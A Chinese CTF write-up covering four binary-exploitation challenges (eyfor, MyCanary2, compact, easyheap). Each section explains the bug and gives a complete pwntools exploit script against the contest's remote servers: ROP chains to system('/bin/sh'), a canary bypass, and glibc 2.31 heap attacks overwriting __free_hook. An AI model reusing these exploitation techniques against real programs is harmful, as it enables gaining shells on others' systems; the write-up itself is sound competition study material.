pwn
eyfor
buf可以覆盖seed,覆盖之后直接可以生成随机数。猜数成功之后可以进入一个栈溢出:
程序自带system函数,同时会将payload strcpy到bss段上,因此可以在payload中附带/bin/sh之后直接调用system(“/bin/sh”)
getshell。
exp:
from pwn import *
import ctypes
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
libc_func = ctypes.CDLL('/lib/x86_64-linux-gnu/libc.so.6')
libc_func.srand(10)
sh = process('/mnt/hgfs/ubuntu/das7/pwn4')
sh = remote('node4.buuoj.cn',27445)
sh.sendafter(b'go\n',b'aaa')
for i in range(4):
sh.sendlineafter(b'message:\n',str(libc_func.rand()).encode())
sh.sendline(str(-1).encode())
pop_rdi = 0x0000000000400983
# gdb.attach(sh)
payload = b'/bin/sh\x00'+b'a'*0x30+p64(pop_rdi+1)+p64(pop_rdi)+p64(0x6010C0)+p64(0x400680)
sh.sendline(payload)
sh.interactive()
MyCanary2
程序自己实现一个canary,canary本身是通过随机数异或而来,不可破解。
不过程序出现了一个逻辑漏洞。
若我们先调用栈溢出之后再调用生成canary则可以直接绕过canary 实现栈溢出。
exp:
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
# r = process('/mnt/hgfs/ubuntu/das7/MyCanary2/MyCanary2')
r = remote('node4.buuoj.cn',28879)
def menu(choice):
r.recvuntil(b"Input your choice")
r.sendline(str(choice))
def gogogo(payload):
menu(1)
r.recvuntil(b"Show me the code:")
r.send(payload)
pop_rdi = 0x0000000000401613
system_addr = 0x401120
payload = b'a'*0x68+p32(0)+p32(0)+p64(0)+p64(pop_rdi+1)+p64(pop_rdi)+p64(0x4020F0)+p64(system_addr)
print(payload)
# gdb.attach(r)
gogogo(payload)
menu(2)
menu(3)
r.interactive()
compact
程序实现了一个堆菜单:
这个程序最特殊的地方就是她的delete和reset是分开的。
delete功能为清空堆块指针。reset会free掉所有执行过delete的堆块。
这个功能很重要。
然后就是这里有一个溢出:
当buf为0xff的时候,可以溢出最多的字节覆盖到结构体指针:
这道题让我卡了很久是因为idx<=7。不太好填满tcache list然后用fastbin into tcache bin做。
不过用刚才那个delete清空指针和reset配合还是能够做到的,这样之后我发现只能申请0x20大小的堆块,并且申请地址末尾必为tag字段:0xff,我调试了一下malloc_hook
,free_hook
,exit_hook
都不在末尾字段为0xff且偏移处于0x20的范围内,同时由于0x20大小是结构体堆块,即使申请过去了,我们的ogg里也必带有一个0xff,所以这种思路是错的。\
我的步骤:
- 通过以上溢出改结构体指针,free掉一个
fake_unsortedbin
。 - 再申请一个堆块,改掉结构体指针指向
fake_unsortedbin
,通过show功能泄露heap基址和libc基址。 - 伪造一个fake_chunk,free掉0x90大小的fake_chunk后申请回来,改掉一个tcache空闲块的
next
指针。 - 然后就打
free_hook
即可。
(这里其实伪造fake_chunk
必须要满足fake_chunk
的下一个堆块size合法,并且我感觉也不止会判断这一个,似乎还会一直往下判断下一个堆块size是否合法,因此我最开始没有采用这种方法,不过这道题刚好有一个fake_unsortedbin
可以给我们提供合法的size,因此可以伪造fake_chunk
)
exp:
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
# r = process('/mnt/hgfs/ubuntu/das7/compact/compact')
r = remote('node4.buuoj.cn',29237)
libc = ELF('/mnt/hgfs/ubuntu/das7/compact/libc-2.31.so')
def menu(choice):
r.recvuntil(b"give me your choice: \n")
r.sendline(str(choice))
def add(content,something):
menu(1)
r.recvuntil(b"data: ")
r.send(content)
r.recvuntil(b"tag: ")
r.send(b'\xff')
# sleep(0.5)
r.send(something)
def show(index):
menu(2)
r.recvuntil(b"idx: ")
r.sendline(str(index))
def delete(index):
menu(3)
r.recvuntil(b"idx: ")
r.sendline(str(index))
def alldelete():
menu(4)
[add(p64(0)*3+p64(0x4b1)+p64(0)*3+p64(0x91),b'a') for i in range(8)]
delete(0)
alldelete()
add(b'a',b'aaa\xe0')
delete(0)
alldelete()
add(b'a',b'aaa\xe0')
show(0)
r.recvuntil(b"tag: \xffaaa")
heap_base = u64(r.recv(6).ljust(8,b'\0'))-0x2e0
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\0'))-0x1ebf61
free_hook = libc_base+libc.sym["__free_hook"]
one_gadget = libc_base+0xe6af1
delete(4)
[delete(k) for k in range(2,4)]
# [add(b'a',b'a') for l in range(6)]#1-6
alldelete()
add(b'a',b'aaa'+p16((heap_base+0x3b0)&0xffff))#2
delete(2)
alldelete()
add(b'a'*0x40+p64(0)+p64(0x21)+p64(heap_base)+p64(heap_base+0x10)+p64(0)+p64(0x91)+p64(free_hook),b'a')#2
add(b'a',b'a')#3
delete(2)
add(p64(one_gadget),b'a')
menu(4)
# gdb.attach(r,'b free')
log.success("heap_base: "+hex(heap_base))
log.success("libc_base: "+hex(libc_base))
r.interactive()
easyheap
赛后由h@x0r师傅
提供的思路和exp,经由本人同意后我收集在此。
维护了0x37个双向链表头来管理堆结构
结构如下
struct Node
{
char name[16];
char *buf;
_QWORD prev;
Node *next;
};
并且通过输入的name来进行一个类似hash的操作得到他在整个链表头数组的索引
def name_hash(name):
v3 = 0;
name = name.ljust(16,b'\x00')
for i in range(16):
v3 = name[i] + 0x13 * v3;
return v3 & 0x37
漏洞出在删除逻辑里假设链表头节点的prev是0
但是如果移除该链表头节点后, 这个假设就不成立了
这时候就会走prev->next = tmp这条路径
导致链表头还是原来这个节点, 但是因为他的name字段已经变化, 我们一般来说已经访问不到他了
(所以我fuzz半天没fuzz出来什么洞)
那么现在就有一个double free
来看一下我们其他的函数
add函数
show函数
容易发现name跟buf指针相邻, 可以通过打印name指针泄露一下堆地址
(管他有没有用, 先泄了再说)
然后可以通过填满tcache让0x210的堆块释放到unsortbin里, 然后用show打印free状态下的节点来泄露libc地址
因为是2.31 所以考虑打free_hook写system
注意到dele中
如果我们能完全控制被free节点的内容
我们就可以写入prev->next的值为next指针
那么我们只需要控制prev == free_hook-0x20 next == system_addr buf == bin_sh_addr
就可以一次操作getshell
不难想到在0x210的大堆块中伪造一个0x30的节点
那我们还需要一次fastbin attack来分配到这个0x30的节点
详细操作见exp
from pwn import *
context.log_level = 'debug'
sh = process('./easyheap')
# sh = remote('node4.buuoj.cn',29160)
def cmd(choice):
sh.sendlineafter(b'> ',str(choice).encode())
def add(name,content):
cmd(1)
if len(name) < 0x10:
name += b'\n'
if len(content) < 0x200:
content += b'\n'
sh.sendafter(b'name: ',name)
sh.sendafter(b'content: ',content)
def dele(name):
cmd(3)
if len(name) != 0x10:
name = name.ljust(16,b'\x00')
sh.sendafter(b'name: ',name)
def show(idx):
cmd(2)
sh.sendlineafter(b'idx: ',str(idx).encode())
def name_hash(name):
v3 = 0;
name = name.ljust(16,b'\x00')
for i in range(16):
v3 = name[i] + 0x13 * v3;
return v3 & 0x37
add(b'\x00',b'xx')
add(b'\x00',b'xx')
add(b'\xff'*15+b'X',b'xxx')
show(name_hash(b'\xff'*15+b'X'))
sh.recvuntil(b'X')
heap_base = u64(sh.recv(6).ljust(8,b'\x00')) & -4096
for i in range(6):
add(b'\x02',b'kk')
for i in range(6):
dele(b'\x02')
dele(b'\x00')
dele(b'\x00')
success("heap_base : "+hex(heap_base))
show(0)
libc_base = u64(sh.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x1ecbe0
success("libc_base : "+hex(libc_base))
# for i in range(3):
# add(b'\x00',b'xxx')
# dele(b'\x00')
bucket = name_hash(p64(heap_base+0x2120))
bucket_name = p64(heap_base+0x2120)
add(bucket_name,b'xxx')
for i in range(8):
add(b'\x02',b'clear')
add(b'\x02',b'a'*0x20+p64(0)+p64(0x31)+p64(0)*5+p64(0x31))
for i in range(2):
add(b'\x02',b'clear')
add(bucket_name,b'xxx')
for i in range(5):
dele(b'\x02')
dele(bucket_name)
dele(bucket_name)
dele(b'\xff'*15+b'X')
add(b'\x07',b'bbb')
success("bucket : "+hex(bucket))
dele(b'\x02')
dele(bucket_name)
fake_chunk = heap_base + 0x1b20
add(p64(fake_chunk),b'qqq')
add(b'\x02',b'kkk')
add(b'\x02',b'kkk')
add(b'\x01',b'kkk')
libc = ELF('./libc.so.6')
libc.address = libc_base
payload = b'\x00'*0x20
payload += p64(0) + p64(0x31)
payload += p64(0x1) + p64(0)
payload += p64(next(libc.search(b'/bin/sh\x00')))
payload += p64(libc.sym['__free_hook']-0x20) + p64(libc.sym['system'])
add(b'\x02',payload)
# gdb.attach(sh,'b *$rebase(0xf78)')
dele(b'\x01')
sh.interactive()
有一点坑的是
远程的libc版本实际是2.31 9.9
而附件给出的实际上是2.31 9.7
但是因为泄露是一般是泄露的unsortbin的地址, 而这两个版本的unsortbin的偏移恰好一致
所以很难发现是libc有问题